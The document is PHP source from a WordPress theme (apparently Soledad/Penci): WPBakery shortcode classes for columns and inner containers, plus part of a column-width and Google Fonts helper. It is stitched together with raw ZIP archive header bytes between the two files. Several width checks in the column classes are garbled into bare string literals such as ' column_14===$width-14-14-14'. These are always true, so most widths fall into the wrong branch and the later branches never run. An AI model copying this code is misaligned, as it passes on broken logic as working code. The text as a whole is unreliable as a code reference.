	 *
	 */
	public function buildStyle( $bg_image = '', $bg_color = '', $bg_image_repeat = '', $font_color = '', $padding = '', $margin_bottom = '' ) {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::buildStyle', '4.5 (will be removed in 4.10)' );

		$has_image = false;
		$style     = '';
		if ( (int) $bg_image > 0 && false !== ( $image_url = wp_get_attachment_url( $bg_image ) ) ) {
			$has_image = true;
			$style     .= 'background-image: url(' . $image_url . ');';
		}
		if ( ! empty( $bg_color ) ) {
			$style .= vc_get_css_color( 'background-color', $bg_color );
		}
		if ( ! empty( $bg_image_repeat ) && $has_image ) {
			if ( 'cover' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: cover;';
			} elseif ( 'contain' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: contain;';
			} elseif ( 'no-repeat' === $bg_image_repeat ) {
				$style .= 'background-repeat: no-repeat;';
			}
		}
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}
		if ( '' !== $padding ) {
			$style .= 'padding: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $padding ) ? $padding : $padding . 'px' ) . ';';
		}
		if ( '' !== $margin_bottom ) {
			$style .= 'margin-bottom: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $margin_bottom ) ? $margin_bottom : $margin_bottom . 'px' ) . ';';
		}

		return empty( $style ) ? '' : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Column extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-column';
	/**
	 * @var array
	 */
	protected $predefined_atts = array(
		'font_color'  => '',
		'el_class'    => '',
		'el_position' => '',
		'width'       => '1/2',
	);

	/**
	 * @param string $content
	 *
	 * @return string
	 */
	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	/**
	 * @param $atts
	 * @param null $content
	 *
	 * @return string
	 */
	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';

		extract( shortcode_atts( $this->predefined_atts, $atts ) );
		$output = '';

		$column_controls        = $this->getColumnControls( $this->settings( 'controls' ) );
		$column_controls_bottom = $this->getColumnControls( 'add', 'bottom-controls' );

		if ( ' column_14' === $width || ' 1/4' === $width ) {
			$width = array( 'vc_col-sm-3' );
		} elseif ( ' column_14===$width-14-14-14' ) {
			$width = array(
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
			);
		} elseif ( ' column_13' === $width || ' 1/3' === $width ) {
			$width = array( 'vc_col-sm-4' );
		} elseif ( ' column_13===$width-23' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-8',
			);
		} elseif ( ' column_13===$width-13-13' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-4',
				'vc_col-sm-4',
			);
		} elseif ( ' column_12' === $width || ' 1/2' === $width ) {
			$width = array( 'vc_col-sm-6' );
		} elseif ( ' column_12===$width-12' ) {
			$width = array(
				'vc_col-sm-6',
				'vc_col-sm-6',
			);
		} elseif ( ' column_23' === $width || ' 2/3' === $width ) {
			$width = array( 'vc_col-sm-8' );
		} elseif ( ' column_34' === $width || ' 3/4' === $width ) {
			$width = array( 'vc_col-sm-9' );
		} elseif ( ' column_16' === $width || ' 1/6' === $width ) {
			$width = array( 'vc_col-sm-2' );
		} elseif ( ' column_56' === $width || ' 5/6' === $width ) {
			$width = array( 'vc_col-sm-10' );
		} else {
			$width = array( '' );
		}
		$_count_width = count( (array) $width );
		for ( $i = 0; $i < $_count_width; $i ++ ) {
			$output .= '<div ' . $this->mainHtmlBlockParams( $width, $i ) . '>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div ' . $this->containerHtmlBlockParams( $width, $i ) . '>';
			$output .= do_shortcode( shortcode_unautop( $content ) );
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
					$param_value = isset( ${$param['param_name']} ) ? ${$param['param_name']} : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls_bottom );
			$output .= '</div>';
		}

		return $output;
	}

	/**
	 * @param $controls
	 * @param string $extended_css
	 *
	 * @return string
	 */
	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="vc_controls vc_control-column vc_controls-visible' . ( ! empty( $extended_css ) ? " {$extended_css}" : '' ) . '">';
		$controls_end = '</div>';

		if ( ' bottom-controls' === $extended_css ) {
			$control_title = __( 'Append to this column', 'soledad' );
		} else {
			$control_title = __( 'Prepend to this column', 'soledad' );
		}
		if ( vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'custom', null )->get() ) {
			$controls_add = '<a class="vc_control column_add vc_column-add" data-vc-control="add" href="#" title="' . $control_title . '"><i class="vc-composer-icon vc-c-icon-add"></i></a>';
		} else {
			$controls_add = '';
		}
		$controls_edit = '<a class="vc_control column_edit vc_column-edit"  data-vc-control="edit" href="#" title="' . __( 'Edit this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		//$controls_delete = '<a class="vc_control column_delete vc_column-delete" data-vc-control="delete"  href="#" title="' . __( 'Delete this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_delete = '';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );
		if ( is_array( $controls ) && ! empty( $controls ) ) {
			foreach ( $controls as $control ) {
				if ( 'add' === $control || ( $editAccess && 'edit' === $control ) || $allAccess ) {
					$method_name = vc_camel_case( 'output-editor-control-' . $control );
					if ( method_exists( $this, $method_name ) ) {
						$output .= $this->$method_name();
					} else {
						$control_var = 'controls_' . $control;
						if ( isset( ${$control_var} ) ) {
							$output .= ${$control_var};
						}
					}
				}
			}

			return $output . $controls_end;
		} elseif ( is_string( $controls ) && 'full' === $controls ) {
			if ( $allAccess ) {
				return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
			} elseif ( $editAccess ) {
				return $output . $controls_add . $controls_edit . $controls_end;
			}

			return $output . $controls_add . $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( 'add' === $controls || ( $editAccess && 'edit' == $controls || $allAccess ) && isset( ${$control_var} ) ) {
				return $output . ${$control_var} . $controls_end;
			}

			return $output . $controls_end;
		}
		if ( $allAccess ) {
			return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
		} elseif ( $editAccess ) {
			return $output . $controls_add . $controls_edit . $controls_end;
		}

		return $output . $controls_add . $controls_end;
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function mainHtmlBlockParams( $width, $i ) {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? 'wpb_sortable' : $this->nonDraggableClass );

		return 'data-element_type_sdsds="' . $this->settings['base'] . '" data-vc-column-width="' . wpb_vc_get_column_width_indent( $width[ $i ] ) . '" class="wpb_' . $this->settings['base'] . ' ' . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' ) . ' ' . $this->templateWidth() . ' wpb_content_holder"' . $this->customAdminBlockParams();
	}

	/**
	 * @return string
	 */
	protected function templateWidth() {
		return '<%= window.vc_convert_column_size(params.width) %>';
	}

	/**
	 * @return string
	 */
	public function customAdminBlockParams() {
		return '';
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function containerHtmlBlockParams( $width, $i ) {
		return 'class="wpb_column_container vc_container_for_children"';
	}

	/**
	 * @param $param
	 * @param $value
	 *
	 * @return string
	 */
	public function singleParamHtmlHolder( $param, $value ) {
		$output = '';
		// Compatibility fixes.
		$old_names  = array(
			'yellow_message',
			'blue_message',
			'green_message',
			'button_green',
			'button_grey',
			'button_yellow',
			'button_blue',
			'button_red',
			'button_orange',
		);
		$new_names  = array(
			'alert-block',
			'alert-info',
			'alert-success',
			'btn-success',
			'btn',
			'btn-info',
			'btn-primary',
			'btn-danger',
			'btn-warning',
		);
		$value      = str_ireplace( $old_names, $new_names, $value );
		$param_name = isset( $param['param_name'] ) ? $param['param_name'] : '';
		$type       = isset( $param['type'] ) ? $param['type'] : '';
		$class      = isset( $param['class'] ) ? $param['class'] : '';

		if ( isset( $param['holder'] ) && 'hidden' !== $param['holder'] ) {
			$output .= '<' . $param['holder'] . ' class="wpb_vc_param_value ' . $param_name . ' ' . $type . ' ' . $class . '" name="' . $param_name . '">' . $value . '</' . $param['holder'] . '>';
		}

		return $output;
	}

	/**
	 * @param string $font_color
	 *
	 * @return string
	 */
	public function buildStyle( $font_color = '' ) {
		$style = '';
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}

		return empty( $style ) ? $style : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Container_Inner extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-row';
	protected $predefined_atts = array(
		'el_class' => '',
	);

	/**
	 * @param $settings
	 */
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->shortcodeScripts();
	}

	protected function shortcodeScripts() {
		wp_register_script( 'vc_jquery_skrollr_js', vc_asset_url( 'lib/bower/skrollr/dist/skrollr.min.js' ), array( 'jquery' ), WPB_VC_VERSION, true );
		wp_register_script( 'vc_youtube_iframe_api_js', '//www.youtube.com/iframe_api', array(), WPB_VC_VERSION, true );
	}

	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';
		$atts  = shortcode_atts( $this->predefined_atts, $atts );

		extract( $atts );

		$output          = '';
		$count_width     = $width && is_array( $width ) ? count( $width ) : 1;
		$column_controls = $this->getColumnControls( $this->settings( 'controls' ) );

		for ( $i = 0; $i < $count_width; $i ++ ) {
			$output .= '<div data-manh="" data-element_type="' . $this->settings['base'] . '" class="' . $this->cssAdminClass() . '">';
			$output .= str_replace( '%column_size%', 1, $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div class="vc_row vc_row-fluid wpb_row_container vc_container_for_children">';
			if ( '' === $content && ! empty( $this->settings['default_content_in_template'] ) ) {
				$output .= do_shortcode( shortcode_unautop( $this->settings['default_content_in_template'] ) );
			} else {
				$output .= do_shortcode( shortcode_unautop( $content ) );

			}
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
					if ( ! isset( $param['param_name'] ) ) {
						continue;
					}
					$param_value = isset( $atts[ $param['param_name'] ] ) ? $atts[ $param['param_name'] ] : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= '</div>';
		}

		return $output;
	}

	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="penci_container_controls vc_controls vc_controls-row controls_row vc_clearfix">';
		$controls_end = '</div>';

		$icon     = $this->settings( 'icon' );
		$img_icon = $icon ? '<img src="' . $icon . '" alt="icon"/>' : '';

		$controls_layout = $this->getLayoutsControl();
		$controls_add    = '';
		$controls_title  = '<span class="wpb_element_title"> ' . $img_icon . '</span>';
		$controls_move   = '<a class="vc_control column_move vc_column-move" href="#" title="' . __( 'Drag row to reorder', 'soledad' ) . '" data-vc-control="move"><i class="vc-composer-icon vc-c-icon-dragndrop"></i>' . $controls_title . '</a>';
		$controls_delete = '<a class="vc_control column_delete vc_column-delete" href="#" title="' . __( 'Delete this row', 'soledad' ) . '" data-vc-control="delete"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_edit   = ' <a class="vc_control column_edit vc_column-edit" href="#" title="' . __( 'Edit this row', 'soledad' ) . '" data-vc-control="edit"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		$controls_clone  = ' <a class="vc_control column_clone vc_column-clone" href="#" title="' . __( 'Clone this row', 'soledad' ) . '" data-vc-control="clone"><i class="vc-composer-icon vc-c-icon-content_copy"></i></a>';
		$controls_toggle = ' <a class="vc_control column_toggle vc_column-toggle" href="#" title="' . __( 'Toggle row', 'soledad' ) . '" data-vc-control="toggle"><i class="vc-composer-icon vc-c-icon-arrow_drop_down"></i></a>';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );


		if ( is_array( $controls ) && ! empty( $controls ) ) {

			foreach ( $controls as $control ) {
				$control_var = 'controls_' . $control;
				if ( ( $editAccess && 'edit' == $control ) || $allAccess ) {
					if ( isset( ${$control_var} ) ) {
						$output .= ${$control_var};
					}
				}
			}
			$output .= $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( ( $editAccess && 'edit' === $controls ) || $allAccess ) {
				if ( isset( ${$control_var} ) ) {
					$output .= ${$control_var} . $controls_end;
				}
			}
		} else {
			$row_edit_clone_delete = '<span class="vc_row_edit_clone_delete">';
			if ( $allAccess ) {
				$row_edit_clone_delete .= $controls_delete . $controls_clone . $controls_edit;
			} elseif ( $editAccess ) {
				$row_edit_clone_delete .= $controls_edit;
			}
			$row_edit_clone_delete .= $controls_toggle;
			$row_edit_clone_delete .= '</span>';

			if ( $allAccess ) {
				$output .= $controls_move . $controls_layout . $controls_add . $row_edit_clone_delete . $controls_end;
			} elseif ( $editAccess ) {
				$output .= $row_edit_clone_delete . $controls_end;
			} else {
				$output .= $row_edit_clone_delete . $controls_end;
			}
		}

		return $output;
	}

	/**
	 * This returs block controls
	 */
	public function getLayoutsControl() {
		$vc_row_layouts  = array(
			array(
				'cells'      => '12_12',
				'mask'       => '26',
				'title'      => '1/2 + 1/2',
				'icon_class' => '1-2_1-2',
			),
			array(
				'cells'      => '23_13',
				'mask'       => '29',
				'title'      => 'Content + Sidebar',
				'icon_class' => '2-3_1-3',
			),
			array(
				'cells'      => '13_23',
				'mask'       => '29',
				'title'      => 'Sidebar + Content',
				'icon_class' => '2-3_1-3',
			),
		);
		$controls_layout = '<span class="vc_row_layouts vc_control">';
		foreach ( $vc_row_layouts as $layout ) {
			$controls_layout .= '<a class="vc_control-set-column penci_set_layout cell-' . $layout['cells'] . ' " data-cells="' . $layout['cells'] . '" data-cells-mask="' . $layout['mask'] . '" data-hint="' . $layout['title'] . '"><i class="vc-composer-icon vc-c-icon-' . $layout['icon_class'] . '"></i></a> ';
		}
		$controls_layout .= '</span>';

		return $controls_layout;
	}

	public function cssAdminClass() {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? ' wpb_sortable' : ' ' . $this->nonDraggableClass );

		return 'wpb_' . $this->settings['base'] . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' );
	}

	/**
	 * @return string
	 * @deprecated - due to it is not used anywhere? 4.5
	 * @typo Bock - Block
	 */
	public function customAdminBockParams() {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::customAdminBockParams', '4.5 (will be removed in 4.10)' );

		return '';
	}

	/**
	 * @param string $bg_image
	 * @param string $bg_color
	 * @param string $bg_image_repeat
	 * @param string $font_color
	 * @param string $padding
	 * @param string $margin_bottom
	 *
	 * @return string
	 * @deprecated 4.5
	 *
	 */
	public function buildStyle( $bg_image = '', $bg_color = '', $bg_image_repeat = '', $font_color = '', $padding = '', $margin_bottom = '' ) {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::buildStyle', '4.5 (will be removed in 4.10)' );

		$has_image = false;
		$style     = '';
		if ( (int) $bg_image > 0 && false !== ( $image_url = wp_get_attachment_url( $bg_image ) ) ) {
			$has_image = true;
			$style     .= 'background-image: url(' . $image_url . ');';
		}
		if ( ! empty( $bg_color ) ) {
			$style .= vc_get_css_color( 'background-color', $bg_color );
		}
		if ( ! empty( $bg_image_repeat ) && $has_image ) {
			if ( 'cover' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: cover;';
			} elseif ( 'contain' === $bg_image_repeat ) {
				$style .= 'background-repeat:no-repeat;background-size: contain;';
			} elseif ( 'no-repeat' === $bg_image_repeat ) {
				$style .= 'background-repeat: no-repeat;';
			}
		}
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}
		if ( '' !== $padding ) {
			$style .= 'padding: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $padding ) ? $padding : $padding . 'px' ) . ';';
		}
		if ( '' !== $margin_bottom ) {
			$style .= 'margin-bottom: ' . ( preg_match( '/(px|em|\%|pt|cm)$/', $margin_bottom ) ? $margin_bottom : $margin_bottom . 'px' ) . ';';
		}

		return empty( $style ) ? '' : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Column_Inner extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-column';
	/**
	 * @var array
	 */
	protected $predefined_atts = array(
		'font_color'  => '',
		'el_class'    => '',
		'el_position' => '',
		'width'       => '1/2',
	);

	/**
	 * @param string $content
	 *
	 * @return string
	 */
	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	/**
	 * @param $atts
	 * @param null $content
	 *
	 * @return string
	 */
	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';

		extract( shortcode_atts( $this->predefined_atts, $atts ) );
		$output = '';

		$column_controls        = $this->getColumnControls( $this->settings( 'controls' ) );
		$column_controls_bottom = $this->getColumnControls( 'add', 'bottom-controls' );

		if ( ' column_14' === $width || ' 1/4' === $width ) {
			$width = array( 'vc_col-sm-3' );
		} elseif ( ' column_14===$width-14-14-14' ) {
			$width = array(
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
				'vc_col-sm-3',
			);
		} elseif ( ' column_13' === $width || ' 1/3' === $width ) {
			$width = array( 'vc_col-sm-4' );
		} elseif ( ' column_13===$width-23' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-8',
			);
		} elseif ( ' column_13===$width-13-13' ) {
			$width = array(
				'vc_col-sm-4',
				'vc_col-sm-4',
				'vc_col-sm-4',
			);
		} elseif ( ' column_12' === $width || ' 1/2' === $width ) {
			$width = array( 'vc_col-sm-6' );
		} elseif ( ' column_12===$width-12' ) {
			$width = array(
				'vc_col-sm-6',
				'vc_col-sm-6',
			);
		} elseif ( ' column_23' === $width || ' 2/3' === $width ) {
			$width = array( 'vc_col-sm-8' );
		} elseif ( ' column_34' === $width || ' 3/4' === $width ) {
			$width = array( 'vc_col-sm-9' );
		} elseif ( ' column_16' === $width || ' 1/6' === $width ) {
			$width = array( 'vc_col-sm-2' );
		} elseif ( ' column_56' === $width || ' 5/6' === $width ) {
			$width = array( 'vc_col-sm-10' );
		} else {
			$width = array( '' );
		}
		$__count_width = count( (array) $width );
		for ( $i = 0; $i < $__count_width; $i ++ ) {
			$output .= '<div ' . $this->mainHtmlBlockParams( $width, $i ) . '>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div ' . $this->containerHtmlBlockParams( $width, $i ) . '>';
			$output .= do_shortcode( shortcode_unautop( $content ) );
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
					$param_value = isset( ${$param['param_name']} ) ? ${$param['param_name']} : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= str_replace( '%column_size%', wpb_translateColumnWidthToFractional( $width[ $i ] ), $column_controls_bottom );
			$output .= '</div>';
		}

		return $output;
	}

	/**
	 * @param $controls
	 * @param string $extended_css
	 *
	 * @return string
	 */
	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="vc_controls vc_control-column vc_controls-visible' . ( ! empty( $extended_css ) ? " {$extended_css}" : '' ) . '">';
		$controls_end = '</div>';

		if ( ' bottom-controls' === $extended_css ) {
			$control_title = __( 'Append to this column', 'soledad' );
		} else {
			$control_title = __( 'Prepend to this column', 'soledad' );
		}
		if ( vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'custom', null )->get() ) {
			$controls_add = '<a class="vc_control column_add vc_column-add" data-vc-control="add" href="#" title="' . $control_title . '"><i class="vc-composer-icon vc-c-icon-add"></i></a>';
		} else {
			$controls_add = '';
		}
		$controls_edit = '<a class="vc_control column_edit vc_column-edit"  data-vc-control="edit" href="#" title="' . __( 'Edit this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		//$controls_delete = '<a class="vc_control column_delete vc_column-delete" data-vc-control="delete"  href="#" title="' . __( 'Delete this column', 'soledad' ) . '"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_delete = '';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );
		if ( is_array( $controls ) && ! empty( $controls ) ) {
			foreach ( $controls as $control ) {
				if ( 'add' === $control || ( $editAccess && 'edit' === $control ) || $allAccess ) {
					$method_name = vc_camel_case( 'output-editor-control-' . $control );
					if ( method_exists( $this, $method_name ) ) {
						$output .= $this->$method_name();
					} else {
						$control_var = 'controls_' . $control;
						if ( isset( ${$control_var} ) ) {
							$output .= ${$control_var};
						}
					}
				}
			}

			return $output . $controls_end;
		} elseif ( is_string( $controls ) && 'full' === $controls ) {
			if ( $allAccess ) {
				return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
			} elseif ( $editAccess ) {
				return $output . $controls_add . $controls_edit . $controls_end;
			}

			return $output . $controls_add . $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( 'add' === $controls || ( $editAccess && 'edit' == $controls || $allAccess ) && isset( ${$control_var} ) ) {
				return $output . ${$control_var} . $controls_end;
			}

			return $output . $controls_end;
		}
		if ( $allAccess ) {
			return $output . $controls_add . $controls_edit . $controls_delete . $controls_end;
		} elseif ( $editAccess ) {
			return $output . $controls_add . $controls_edit . $controls_end;
		}

		return $output . $controls_add . $controls_end;
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function mainHtmlBlockParams( $width, $i ) {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? 'wpb_sortable' : $this->nonDraggableClass );

		return 'data-element_type_sdsds="' . $this->settings['base'] . '" data-vc-column-width="' . wpb_vc_get_column_width_indent( $width[ $i ] ) . '" class="wpb_' . $this->settings['base'] . ' ' . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' ) . ' ' . $this->templateWidth() . ' wpb_content_holder"' . $this->customAdminBlockParams();
	}

	/**
	 * @return string
	 */
	protected function templateWidth() {
		return '<%= window.vc_convert_column_size(params.width) %>';
	}

	/**
	 * @return string
	 */
	public function customAdminBlockParams() {
		return '';
	}

	/**
	 * @param $width
	 * @param $i
	 *
	 * @return string
	 */
	public function containerHtmlBlockParams( $width, $i ) {
		return 'class="wpb_column_container vc_container_for_children"';
	}

	/**
	 * @param $param
	 * @param $value
	 *
	 * @return string
	 */
	public function singleParamHtmlHolder( $param, $value ) {
		$output = '';
		// Compatibility fixes.
		$old_names  = array(
			'yellow_message',
			'blue_message',
			'green_message',
			'button_green',
			'button_grey',
			'button_yellow',
			'button_blue',
			'button_red',
			'button_orange',
		);
		$new_names  = array(
			'alert-block',
			'alert-info',
			'alert-success',
			'btn-success',
			'btn',
			'btn-info',
			'btn-primary',
			'btn-danger',
			'btn-warning',
		);
		$value      = str_ireplace( $old_names, $new_names, $value );
		$param_name = isset( $param['param_name'] ) ? $param['param_name'] : '';
		$type       = isset( $param['type'] ) ? $param['type'] : '';
		$class      = isset( $param['class'] ) ? $param['class'] : '';

		if ( isset( $param['holder'] ) && 'hidden' !== $param['holder'] ) {
			$output .= '<' . $param['holder'] . ' class="wpb_vc_param_value ' . $param_name . ' ' . $type . ' ' . $class . '" name="' . $param_name . '">' . $value . '</' . $param['holder'] . '>';
		}

		return $output;
	}

	/**
	 * @param string $font_color
	 *
	 * @return string
	 */
	public function buildStyle( $font_color = '' ) {
		$style = '';
		if ( ! empty( $font_color ) ) {
			$style .= vc_get_css_color( 'color', $font_color );
		}

		return empty( $style ) ? $style : ' style="' . esc_attr( $style ) . '"';
	}
}

class WPBakeryShortCode_Penci_Advanced_List extends WPBakeryShortCodesContainer {
}

class WPBakeryShortCode_Penci_Advanced_List_Item extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Product_Tabs extends WPBakeryShortCodesContainer {
}

class WPBakeryShortCode_Penci_Product_Tab extends WPBakeryShortCode {
}
PK     0w\⽾69  9    js_composer/inc/helper.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * @param $width
 *
 * @return bool|string
 * @since 4.2
 */
if ( ! function_exists( 'penci_wpb_translateColumnWidthToSpan' ) ) :
	function penci_wpb_translateColumnWidthToSpan( $width, $order ) {
		$output = array();
		preg_match( '/(\d+)\/(\d+)/', $width, $matches );

		$container_layout = Penci_Global_Data_Blocks::get_data_row();
		if ( in_array( $container_layout, array( '23_13', '13_23', '14_12_14', '12_14_14', '14_14_12' ) ) ) {
			if ( '1/4' == $width ) {
				$output[] = 'penci-vc-sidebar';
				if ( '12_14_14' == $container_layout ) {
					if ( 2 == $order ) {
						$output [] = 'penci-sidebar-left';
					} else {
						$output [] = 'penci-sidebar-right';
					}
				} else {
					if ( 1 == $order ) {
						$output [] = 'penci-sidebar-left';
					} else {
						$output [] = 'penci-sidebar-right';
					}
				}
			} elseif ( '1/3' == $width ) {
				$output[] = 'penci-vc-sidebar';

				if ( '23_13' == $container_layout ) {
					$output [] = 'penci-sidebar-right';
				} else {
					$output [] = 'penci-sidebar-left';
				}
			} elseif ( '2/3' == $width || '1/2' == $width ) {
				$output[] = 'penci-main-content';
			}
		} else {
			if ( ! empty( $matches ) ) {
				$part_x = (int) $matches[1];
				$part_y = (int) $matches[2];
				if ( $part_x > 0 && $part_y > 0 ) {
					$value = ceil( $part_x / $part_y * 12 );
					if ( $value > 0 && $value <= 12 ) {
						$output[] = 'penci-col-' . $value;
					}
				}
			}
			if ( preg_match( '/\d+\/5$/', $width ) ) {
				$output[] = 'penci-col-' . $width;
			}
		}

		if ( '11' == $width ) {
			$output[] = 'penci-col-12';
		}

		$output = implode( ' ', $output );

		if ( ! $output ) {
			$output = $width;
		}

		return apply_filters( 'penci_vc_translate_column_width_class', $output, $width );
	}
endif;

if ( ! class_exists( 'Penci_Vc_Helper' ) ) :
	class Penci_Vc_Helper {
		public static function get_unique_id_block( $block_id ) {
			return 'penci' . $block_id . '_' . rand( 1000, 100000 );
		}

		public static function get_http() {
			return is_ssl() ? 'https://' : 'http://';
		}

		/**
		 * Get typo of element
		 *
		 * @param $args
		 *
		 * @return string
		 */
		public static function vc_google_fonts_parse_attributes( $args ) {

			$args = wp_parse_args( $args, array(
				'template'   => '',
				'font_size'  => '',
				'font_style' => '',
				'media'      => '768',
			) );

			$output = $styles = $css_size = '';

			// Render google style
			if ( $args['font_style'] ) {
				$fonts_data = vc_parse_multi_attribute( $args['font_style'], array(
					'font_family' => '',
					'font_style'  => '',
				) );

				$fonts_family = explode( ':', $fonts_data['font_family'] );
				$fonts_styles = explode( ':', $fonts_data['font_style'] );

				if ( $fonts_family ) {

					$google_fonts_obj = new Vc_Google_Fonts();
					$font             = $google_fonts_obj->_vc_google_fonts_parse_attributes( array(), trim( $args['font_style'] ) );
					$font             = $font['values'];
					list( $font_family_load ) = explode( ':', $font['font_family'] . ':' );
					$penci_font_enqueue = array( 'Raleway', 'PT Serif' );

					$settings = get_option( 'wpb_js_google_fonts_subsets' );
					if ( is_array( $settings ) && ! empty( $settings ) ) {
						$subsets = '&subset=' . implode( ',', $settings );
					} else {
						$subsets = '';
					}

					if ( $font_family_load && ! in_array( $font_family_load, $penci_font_enqueue ) ) {
						wp_enqueue_style( 'vc_google_fonts_' . vc_build_safe_css_class( urlencode( $font_family_load ) ), '//fonts.googleapis.com/css?family=' . urlencode( $font_family_load ) . $subsets );
					}
				}

				if ( isset( $fonts_family[0] ) && $fonts_family[0] ) {
					$styles .= 'font-family:' . $fonts_family[0] . ';';
				}
				if ( isset( $fonts_styles[1] ) && $fonts_styles[1] ) {
					$styles .= 'font-weight:' . $fonts_styles[1] . ';';
				}
				if ( isset( $fonts_styles[2] ) && $fonts_styles[2] ) {
					$styles .= 'font-style:' . $fonts_styles[2] . ';';
				}
			}

			$multi_fonts = strlen( $args['font_size'] ) > 5;

			// Render font size
			$css_size = '';
			if ( $args['font_size'] && ! $multi_fonts ) {
				$css_size = 'font-size:' . $args['font_size'] . ';';
			}

			// Check Media screen
			if ( $css_size && $args['media'] && ! $multi_fonts ) {
				$output .= sprintf( '@media screen and (min-width: %spx ){' . $args['template'] . '}', $args['media'], $css_size );
			} elseif ( $multi_fonts ) {
